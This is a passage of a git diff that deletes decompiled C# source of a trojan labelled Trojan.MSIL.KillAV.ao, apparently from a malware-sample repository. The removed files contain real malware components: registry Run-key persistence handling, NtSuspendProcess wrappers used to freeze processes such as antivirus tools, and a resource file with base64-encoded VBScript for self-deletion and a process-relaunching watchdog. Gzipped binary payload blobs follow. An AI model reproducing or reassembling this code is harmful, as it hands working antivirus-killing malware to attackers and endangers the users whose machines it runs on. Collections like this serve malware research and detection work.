-1,56 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.My.Resources.Resources -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Globalization; -using System.Resources; -using System.Runtime.CompilerServices; - -namespace n.My.Resources -{ - [DebuggerNonUserCode] - [StandardModule] - [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")] - [HideModuleName] - [CompilerGenerated] - internal sealed class Resources - { - private static ResourceManager resourceMan; - private static CultureInfo resourceCulture; - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static ResourceManager ResourceManager - { - get - { - if (object.ReferenceEquals((object) n.My.Resources.Resources.resourceMan, (object) null)) - n.My.Resources.Resources.resourceMan = new ResourceManager("n.Resources", typeof (n.My.Resources.Resources).Assembly); - return n.My.Resources.Resources.resourceMan; - } - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static CultureInfo Culture - { - get => n.My.Resources.Resources.resourceCulture; - set => n.My.Resources.Resources.resourceCulture = value; - } - - internal static byte[] HWD => (byte[]) RuntimeHelpers.GetObjectValue(n.My.Resources.Resources.ResourceManager.GetObject(nameof (HWD), n.My.Resources.Resources.resourceCulture)); - - internal static byte[] P => (byte[]) RuntimeHelpers.GetObjectValue(n.My.Resources.Resources.ResourceManager.GetObject(nameof (P), n.My.Resources.Resources.resourceCulture)); - - internal static byte[] plugin => (byte[]) RuntimeHelpers.GetObjectValue(n.My.Resources.Resources.ResourceManager.GetObject(nameof (plugin), n.My.Resources.Resources.resourceCulture)); - - internal static string Q => n.My.Resources.Resources.ResourceManager.GetString(nameof (Q), n.My.Resources.Resources.resourceCulture); - - internal static string W => n.My.Resources.Resources.ResourceManager.GetString(nameof (W), n.My.Resources.Resources.resourceCulture); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/NK.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/NK.cs deleted file mode 100644 index a7c00d80..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/NK.cs +++ /dev/null @@ -1,78 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.NK -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using System; - -namespace n -{ - [StandardModule] - public sealed class NK - { - public static string Key = "HKEY_CURRENT_USER\\Software\\nKey"; - public static Registry R; - - public static void SetValue(ref string N, ref string V) => Registry.SetValue(NK.Key, N, (object) V, RegistryValueKind.String); - - public static string GetValue(ref string N, ref string DF) - { - string Left = Conversions.ToString(Registry.GetValue(NK.Key, N, (object) null)); - return Operators.CompareString(Left, (string) null, false) == 0 ? DF : Left; - } - - public static void DeleteValue(ref string N) - { - Array Instance = (Array) Strings.Split(NK.Key, "\\"); - string name = NK.Key.Replace(Conversions.ToString(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 0 - }, (string[]) null), (object) "\\")), ""); - Registry.CurrentUser.OpenSubKey(name, true).DeleteValue(N); - } - - public static void CLEAR() - { - string su = B.SU; - B.SU = "*"; - if (Operators.CompareString(su, "*", false) != 0) - { - try - { - Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).DeleteValue(su); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).DeleteValue(su); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - try - { - Array Instance = (Array) Strings.Split(NK.Key, "\\"); - Registry.CurrentUser.OpenSubKey("Software", true).DeleteSubKey(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) checked (Instance.Length - 1) - }, (string[]) null)), false); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/NTSuspendProcess.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/NTSuspendProcess.cs deleted file mode 100644 index 6048dec1..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/NTSuspendProcess.cs +++ /dev/null @@ -1,55 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.NTSuspendProcess -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Diagnostics; -using System.Runtime.InteropServices; - -namespace n -{ - [StandardModule] - internal sealed class NTSuspendProcess - { - [DllImport("ntdll.dll")] - private static extern bool NtSuspendProcess(IntPtr hHandle); - - [DllImport("ntdll.dll")] - private static extern bool NtResumeProcess(IntPtr hHandle); - - public static bool SuspendProcess(int ID) - { - bool flag; - try - { - flag = NTSuspendProcess.NtSuspendProcess(Process.GetProcessById(ID).Handle); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - flag = false; - ProjectData.ClearProjectError(); - } - return flag; - } - - public static bool ResumeProcess(int ID) - { - bool flag; - try - { - flag = NTSuspendProcess.NtResumeProcess(Process.GetProcessById(ID).Handle); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - flag = false; - ProjectData.ClearProjectError(); - } - return flag; - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/Resources.resx b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/Resources.resx deleted file mode 100644 index 76a2a6e2..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/Resources.resx +++ /dev/null @@ -1,633 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - b24gZXJyb3IgcmVzdW1lIG5leHQNCnNldCB0dCA9IGdldG9iamVjdCgid2lubWdtdHM6IikNCkRpbSBGDQpGID0gIk5KIg0KV1NjcmlwdC5TbGVlcCAyMDAwDQpvbiBlcnJvciByZXN1bWUgbmV4dA0KU2V0IGZzbyA9IENyZWF0ZU9iamVjdCgiU2NyaXB0aW5nLkZpbGVTeXN0ZW1PYmplY3QiKQ0KU2V0IGFGaWxlID0gZnNvLkdldEZpbGUoV1NjcmlwdC5TY3JpcHRGdWxsTmFtZSkNCmFGaWxlLkRlbGV0ZQ0Kc2V0IGFmID0gZnNvLkdldEZpbGUoRikNCmFmLmRlbGV0ZQ== - - - b24gZXJyb3IgcmVzdW1lIG5leHQNCmtrDQpzZXQgdHQgPSBnZXRvYmplY3QoIndpbm1nbXRzOiIpDQpEaW0gRg0KRGltIFANCkYgPSAiTkpQIg0KUCA9IE5KRg0Kc2V0IG5qbj0gY3JlYXRlb2JqZWN0KCJ3c2NyaXB0LnNoZWxsIikNCkRvIFVudGlsIDE9Mg0KV1NjcmlwdC5TbGVlcCAyMDAwDQpwcA0KbG9vcA0Kc3ViIHBwDQpvbiBlcnJvciByZXN1bWUgbmV4dA0KZm9yIGVhY2ggUHJvY2VzcyBpbiB0dC5JbnN0YW5jZXNPZigiV2luMzJfcHJvY2VzcyIpDQppZiBQcm9jZXNzLnByb2Nlc3NpZCA9IHAgdGhlbg0KZXhpdCBzdWINCmVuZCBpZg0KTmV4dA0KbmpuLnJ1bihmKQ0KV1NjcmlwdC5RdWl0DQplbmQgc3ViDQpzdWIga2sNCm9uIGVycm9yIHJlc3VtZSBuZXh0DQpTZXQgZnNvID0gQ3JlYXRlT2JqZWN0KCJTY3JpcHRpbmcuRmlsZVN5c3RlbU9iamVjdCIpDQpTZXQgYUZpbGUgPSBmc28uR2V0RmlsZShXU2NyaXB0LlNjcmlwdEZ1bGxOYW1lKQ0KYUZpbGUuRGVsZXRlDQplbmQgc3Vi - - - - - H4sIAAAAAAAEAO29B2AcSZYlJi9tynt/SvVK1+B0oQiAYBMk2JBAEOzBiM3mkuwdaUcjKasqgcplVmVd - ZhZAzO2dvPfee++999577733ujudTif33/8/XGZkAWz2zkrayZ4hgKrIHz9+fB8/Ir74qT/p1/i1f41f - 49f4dej///f//Wv8Gn/XryHP76k/Nz1/EP3/N/ld/p7f5Nf4237sn/9d/65f8/k//7u+mRdNuqqrizpb - pNNsuazadJKn9XqZFsv06Zev00U1y8e/8W+c/G4K4+Xpr/FrPP81f+1fY/t//vO+MHD/o1/j1/pdf8Nf - 8zf4NX6NnV9DEKNn+YL+Sen/fwD++j3l91/Lfm1//hp/kXz+a/CP3/MP/zV+jd+M/+d+2h/8/FYE97v4 - 5Q8IP7fPH/Rr/Bq/Uezzm5701/g1fgPvz9+A/v629/e4zd+19LMdS1seq+JtHvr4DxjXTT39NRS3P0Db - 7IXtfk/637jOy2qquP5B2m6/1+5J+AnR/4X8/PavgVd+3V/j13hENPmtfo1f49fsNrzl8wt+mz+IXv11 - vvVb7vw6AAU4v/mvtUUclvxaP5PQF7/Nb7P16+CP3/6Pp79+zeTX+21qarH6S36937b+Xfnnb1ff55+/ - 5DcGlF/j1/gtd36tX+PVr8HD+c0b+ufX+42a34n+/Y1/7Df4JYTlr/Njv/v/9ev/zvR3Q5gnza9H/yS/ - 3q9X/fr08zegb34DfPMb4Jsfo39+w1+/oj6TT36933brN6Sfv+32r1T4BAgy8Jv/Vr/hb/Fr/tpbRMFf - D/8kySe/xq9H4/g1f43f5Ndg/vrNf+3v/DSQ//V+mr/5NX6N33Hn1/41/mL6jvr+zbcI3+S3/HV/m9/y - 1/lk8Zv/ur/5r/PnJL9Lwt38Wr8YI/ktf/3f5rf89T45/c1//d/81/tzfsNfryKISfWb0j+/Pv/722z9 - Zvj33u/y61W/Of3yO9yjMfwW9Mt/8Jv87lu/Jf38jbZ+K/z1a/zmv95v+2/8lr/eb/7r/ea//p/wd+79 - rb/5r0N//Tq/+a/zm/+69Ncfa9r+xto2/aPoL8bg4A/4v//v//tbmIvfDjP07Nf4zb/7a/wmv6lO8R/6 - h8rvv+POr/9r/C1ENyLhb/5LMYOjX/fgL6e/01/+ayqYLcLo10t+q9/yt/gtfouahHb1W/6Wv8Vv6YjF - hPlt/69fs/5j6aut3xrD+XOq34Z+/Fa/5W/1W/xW8sJv/Vv81vLCb0uf//4P/3fq/rf6LX+b3+K3kW9/ - 29/it+Vvf8Pf4tf6v35rgvZr/fq/xa+1ReT49X7hr2Ub/Hq/7R9P6Pyav+Xv8Jv/Dr/Nb/9b/va/+W// - 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 - 9wCf/Lq/Rkn/PiXn7cd/6a/xa/xN9PP3xu+v27pYXjRo8RtQZ3NSQD/+1etfY/WbyzrVj3/+1dlT+vkH - 0d9/Gr57UlaTX0Me+vPX/O5nv9Zv9WP0y6/xv/+a95BQQO+kc7D2wGsxlPn4NT6m/wOFRD//tfV3vIa8 - xq/pff5r/Bo/8evLCH69X+OI3vpNfo3Xv+bTX/O3+DXqX/P3/zV/vV/jr/k1/2z692/+NR/Qt3/vr/U3 - /lq/3q/x/NfG73/Jr41v/8Nf+x/8tX+9X+N/509+zV8HLVP+d+/XeUCofe/XOf11fr1fY0G/J7/GP/Lr - /Lm/zm/za/w79Enya/xav+6fS5/Pfl18/tP0e/Jr/BH871/y6/6W9MlfQ//+Dr/Gf/nr/iu/7u/wa/ze - v96/8uv+er/GX/3r/TG/XvJr/Du/Ht76X+j3X+/X+A1+ffz7W/766P0e/QvsZQy/Jv/3m/0ad36NT4j+ - /Nev+Zv9Gtv812/ya/yGv0ZCzXaYSr8Z9QJ63P81MFO/Ff1FvtWvsfq15a/f6df4zWnl7Hf8NX7iD/pj - iZo/8Qf9Rfzv387//lP877/N//5P/O+v+2vi39+R/v31fo3f59f8Lr37g1/ze/TvL/k1f3/C4A//NSf0 - 7fWvhTZ/zK+FNj/5a+Pf7/G/vz//m/O/v+TX/u9+jZcpxvGb/3anv8ZvSe/+3vzXr/fbPf81flsd4R/0 - a/w26Ve/xi/w/rr7a76id/8ibvnb/Bp/0K/5WyKX9LvKjP7Rv+Y5/ZXqX3/ir1mSXnqsf/0Zv+ZvS5L7 - G3wkf93/NWr66+m35K+/89d8R3Pxmx04XH5j298//Gv+od5f/9Ov+cdzLkv++nV/rT+NuVgx+7X+PHrT - /PW9X+svp1GYv/70X+tv/zV++1/jt+Iefptf46/5tf5+orZ891um//Sv9Y94f/1nv9Y/Q+M1f/1v9Bfx - +0P8/Zv/Gr/Wr/0v/hqpfvebp7/xr/2vycD5r9/11/636K/fl1v+Nr/Gt3/t//DX+PFf49/iv4SeP64t - ged/Rn/9b953H/8a/5H89Rv8qb825hiclf0akKDi14DcQLJ/nV+j+jXALe/429/j18S/bId+jT/N+/3v - /TXxFn7/tX+Nf+DX/DXSX/PX+Ofo31/r1/i3+Nv/k//9LX4tfPLPcZvf9tfST+itw18Ln/yevxb6+pw/ - f8uf116bv9T7/d/k9v+R/cT8+3uYXqjNo1/bfPJr/Rrlr92F/xf+2se/BsZ/xv/+GP/7m9O/v+LX+H3o - 31/j1/xd6d9fj/79HX6d/4noYT75jfiT35aoPfp1fotfs/g1Hv46v/DX/EW/xtWvs0///qG/zqNf8yd+ - jT+V/v2Df41/7tc5ok/+l1/nlP79P6n9n/xr/Ca/7nd+zT/51/gFJPO//a+x8+tmv+Zv/2uc/LpzgvB7 - /7rlr/kX/xrXv279a/7Vv8af8uv+Yv73X/w1fuLX+HN/3T/o1/ybf42/69f9I+jbf+DX/ZN+zX/41/gf - ft1/lr791b/uv0Twf91f71+nT37TX+/fpd9/p1/vP6Z/79Inf/Wv8fDX+6/o9xP6/W/+NV79ev/9r/lP - /xrZr/cr6JOfpk9+81+j+fV+t1/rN/81runfv/nX+AN/vX/x1/ibf40//Nfb+rX+5V/jb/71xvTvP/Dr - 3fu1MKLxr7VLI/0O/fvPU8tdwucRj/S7v9a/zVT6j+nf81/rf+Y2v4o/+Q3ov2/R/3+jX+Mu/fub/Rr7 - 9O9vRYz7G5ClOaJ/f6df44T+TX+Nb9O/vxvZ0d/g1zj4Nf5ayOev8Tf9GuNf42/9Nctfa0zcs/61pr/G - X/prPvw1/lGSpIe/xl/0a/+G/C9+/x1/jT+W9NgfS5z7x/4av/rX+G1/zU9+zZ1f8+Wv+ef+mv/7r3nw - a335a/2+v9Yf9mv857/mya/56/8aX9G8nvyaP/Zr3KUU7TOi8D/8a/5a9Pfv+Gv8T78mPv+df43f9dfC - z9/l13jBP3/XX+N7/PPHf40//df6taj9x7/GP80/7/wa/xn//OTX+N9+Lbx/99f4jX9t/Nz9NX7XXxuf - P/g17tLnv84f9Gt0nk9Yatzza7IlYv/IPolqCb9d8ms8ZRUXvsuGtdPu9Nfpt/tXoMyJq39tks9fm/SZ - fvv4i2q2LvOjX2PRTKu6LCa/xhfFtK6a6rwd/2TRrLPySdYU01/jJ3+Nl7/G6vrXeHV68obE+/V10+aL - X+PLyU/n0/bXGE+nbVXTD/z7pPo1FtW6yX///DJftr/G7OpZmZFtn737NWbXv8b0ybptqyX9eXX6rq2z - s+V59WtQ4/re3q/xxZdfvT49/cnTF2+e/f7HT15/+fyrN6fBh89Pn715+uV3X/Q+/Opl8NEXX/5k+OIX - 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 - 